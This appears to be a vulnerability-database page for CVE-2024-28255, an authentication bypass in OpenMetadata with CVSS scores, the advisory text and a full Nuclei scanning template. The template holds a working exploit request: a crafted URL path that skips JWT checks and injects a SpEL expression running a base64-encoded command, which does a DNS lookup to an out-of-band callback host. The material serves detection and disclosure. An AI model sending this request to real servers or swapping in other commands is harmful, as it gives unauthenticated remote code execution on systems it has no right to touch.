9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
36.4%
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `JwtFilter` handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-237`.
id: CVE-2024-28255
info:
name: OpenMetadata - Authentication Bypass
author: DhiyaneshDK,iamnooob
severity: critical
description: |
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `JwtFilter` handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-237`.
reference:
- https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L111
- https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L113
- https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-6wx7-qw5p-wh84
- https://nvd.nist.gov/vuln/detail/CVE-2024-28255
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-28255
cwe-id: CWE-287
epss-score: 0.00045
epss-percentile: 0.12989
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:733091897
tags: cve,cve2024,openmetadata,rce,auth-bypass
variables:
callback: "{{interactsh-url}}"
cmd: "nslookup {{callback}}"
payload: '{{base64(cmd)}}'
http:
- raw:
- |
GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22{{payload}}%22))) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 400"
- "contains(interactsh_protocol, 'dns')"
- 'contains(body, "java.lang.Boolean")'
- 'contains(header, "application/json")'
condition: and
# digest: 4a0a00473045022100c0396d7d2cda35db57fec494cace654bac870c3441e8062bf8d202f35ccbf1e9022005757044cea4c00fe5c637c2d8134c5542795f4f41eeb6abd464db998a20471a:922c64590222798bb761d5b6d8e72950
github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L111
github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L113
github.com/open-metadata/OpenMetadata/security/advisories/GHSA-6wx7-qw5p-wh84
nvd.nist.gov/vuln/detail/CVE-2024-28255
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
36.4%